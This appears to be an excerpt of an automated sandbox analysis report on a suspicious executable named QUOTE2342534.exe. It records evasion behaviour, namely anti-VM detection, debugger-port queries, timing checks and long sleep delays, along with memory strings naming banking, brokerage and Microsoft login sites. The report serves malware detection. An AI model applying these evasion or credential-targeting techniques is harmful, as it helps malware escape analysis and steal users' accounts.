Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: QUOTE2342534.exe PID: 1992, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\mshta.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: 28C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: 48C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: 8B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: 9B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: 9D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: AD50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: B8F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: C8F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Memory allocated: D8F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Code function: 4_2_0176096E rdtsc

4_2_0176096E

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5523	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2244	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Window / User API: threadDelayed 9783	Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\mshta.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\QUOTE2342534.exe TID: 3148	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe TID: 4028	Thread sleep count: 190 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe TID: 4028	Thread sleep time: -380000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe TID: 4028	Thread sleep count: 9783 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe TID: 4028	Thread sleep time: -19566000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe TID: 3480	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe TID: 3480	Thread sleep time: -61500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe TID: 3480	Thread sleep time: -47000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mshta.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mshta.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\mshta.exe

Code function: 8_2_02F3C390 FindFirstFileW,FindNextFileW,FindClose,

8_2_02F3C390

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 4-4-J4.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 4-4-J4.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 4-4-J4.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 4-4-J4.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 4-4-J4.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 4-4-J4.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 4-4-J4.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 4-4-J4.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 4-4-J4.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: firefox.exe, 0000000B.00000002.2520941156.0000021D292FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAA
Source: 4-4-J4.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 4-4-J4.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 4-4-J4.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 4-4-J4.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 4-4-J4.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 4-4-J4.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594205767.000000000094F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllE
Source: 4-4-J4.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 4-4-J4.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 4-4-J4.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 4-4-J4.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Code function: 4_2_0176096E rdtsc

4_2_0176096E

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Code function: 4_2_004176E3 LdrLoadDll,

4_2_004176E3

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B8158 mov eax, dword ptr fs:[00000030h]	4_2_017B8158
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726154 mov eax, dword ptr fs:[00000030h]	4_2_01726154
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01726154 mov eax, dword ptr fs:[00000030h]	4_2_01726154
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171C156 mov eax, dword ptr fs:[00000030h]	4_2_0171C156
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B4144 mov eax, dword ptr fs:[00000030h]	4_2_017B4144
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B4144 mov eax, dword ptr fs:[00000030h]	4_2_017B4144
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B4144 mov ecx, dword ptr fs:[00000030h]	4_2_017B4144
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B4144 mov eax, dword ptr fs:[00000030h]	4_2_017B4144
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B4144 mov eax, dword ptr fs:[00000030h]	4_2_017B4144
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01750124 mov eax, dword ptr fs:[00000030h]	4_2_01750124
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CA118 mov ecx, dword ptr fs:[00000030h]	4_2_017CA118
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CA118 mov eax, dword ptr fs:[00000030h]	4_2_017CA118
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CA118 mov eax, dword ptr fs:[00000030h]	4_2_017CA118
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CA118 mov eax, dword ptr fs:[00000030h]	4_2_017CA118
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E0115 mov eax, dword ptr fs:[00000030h]	4_2_017E0115
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov eax, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov ecx, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov eax, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov eax, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov ecx, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov eax, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov eax, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov ecx, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov eax, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CE10E mov ecx, dword ptr fs:[00000030h]	4_2_017CE10E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017501F8 mov eax, dword ptr fs:[00000030h]	4_2_017501F8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F61E5 mov eax, dword ptr fs:[00000030h]	4_2_017F61E5
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0179E1D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0179E1D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0179E1D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0179E1D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0179E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0179E1D0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E61C3 mov eax, dword ptr fs:[00000030h]	4_2_017E61C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E61C3 mov eax, dword ptr fs:[00000030h]	4_2_017E61C3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A019F mov eax, dword ptr fs:[00000030h]	4_2_017A019F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A019F mov eax, dword ptr fs:[00000030h]	4_2_017A019F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A019F mov eax, dword ptr fs:[00000030h]	4_2_017A019F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A019F mov eax, dword ptr fs:[00000030h]	4_2_017A019F
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171A197 mov eax, dword ptr fs:[00000030h]	4_2_0171A197
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171A197 mov eax, dword ptr fs:[00000030h]	4_2_0171A197
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171A197 mov eax, dword ptr fs:[00000030h]	4_2_0171A197
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01760185 mov eax, dword ptr fs:[00000030h]	4_2_01760185
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DC188 mov eax, dword ptr fs:[00000030h]	4_2_017DC188
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017DC188 mov eax, dword ptr fs:[00000030h]	4_2_017DC188
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C4180 mov eax, dword ptr fs:[00000030h]	4_2_017C4180
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C4180 mov eax, dword ptr fs:[00000030h]	4_2_017C4180
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0174C073 mov eax, dword ptr fs:[00000030h]	4_2_0174C073
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01722050 mov eax, dword ptr fs:[00000030h]	4_2_01722050
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A6050 mov eax, dword ptr fs:[00000030h]	4_2_017A6050
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B6030 mov eax, dword ptr fs:[00000030h]	4_2_017B6030
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171A020 mov eax, dword ptr fs:[00000030h]	4_2_0171A020
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171C020 mov eax, dword ptr fs:[00000030h]	4_2_0171C020
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E016 mov eax, dword ptr fs:[00000030h]	4_2_0173E016
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E016 mov eax, dword ptr fs:[00000030h]	4_2_0173E016
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E016 mov eax, dword ptr fs:[00000030h]	4_2_0173E016
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0173E016 mov eax, dword ptr fs:[00000030h]	4_2_0173E016
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A4000 mov ecx, dword ptr fs:[00000030h]	4_2_017A4000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000 mov eax, dword ptr fs:[00000030h]	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171C0F0 mov eax, dword ptr fs:[00000030h]	4_2_0171C0F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017620F0 mov ecx, dword ptr fs:[00000030h]	4_2_017620F0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171A0E3 mov ecx, dword ptr fs:[00000030h]	4_2_0171A0E3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A60E0 mov eax, dword ptr fs:[00000030h]	4_2_017A60E0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017280E9 mov eax, dword ptr fs:[00000030h]	4_2_017280E9
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A20DE mov eax, dword ptr fs:[00000030h]	4_2_017A20DE
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E60B8 mov eax, dword ptr fs:[00000030h]	4_2_017E60B8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E60B8 mov ecx, dword ptr fs:[00000030h]	4_2_017E60B8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B80A8 mov eax, dword ptr fs:[00000030h]	4_2_017B80A8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0172208A mov eax, dword ptr fs:[00000030h]	4_2_0172208A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C437C mov eax, dword ptr fs:[00000030h]	4_2_017C437C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A035C mov eax, dword ptr fs:[00000030h]	4_2_017A035C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A035C mov eax, dword ptr fs:[00000030h]	4_2_017A035C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A035C mov eax, dword ptr fs:[00000030h]	4_2_017A035C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A035C mov ecx, dword ptr fs:[00000030h]	4_2_017A035C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A035C mov eax, dword ptr fs:[00000030h]	4_2_017A035C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A035C mov eax, dword ptr fs:[00000030h]	4_2_017A035C
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EA352 mov eax, dword ptr fs:[00000030h]	4_2_017EA352
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C8350 mov ecx, dword ptr fs:[00000030h]	4_2_017C8350
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017A2349 mov eax, dword ptr fs:[00000030h]	4_2_017A2349
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0171C310 mov ecx, dword ptr fs:[00000030h]	4_2_0171C310
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01740310 mov ecx, dword ptr fs:[00000030h]	4_2_01740310
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A30B mov eax, dword ptr fs:[00000030h]	4_2_0175A30B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A30B mov eax, dword ptr fs:[00000030h]	4_2_0175A30B
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0175A30B mov eax, dword ptr fs:[00000030h]	4_2_0175A30B
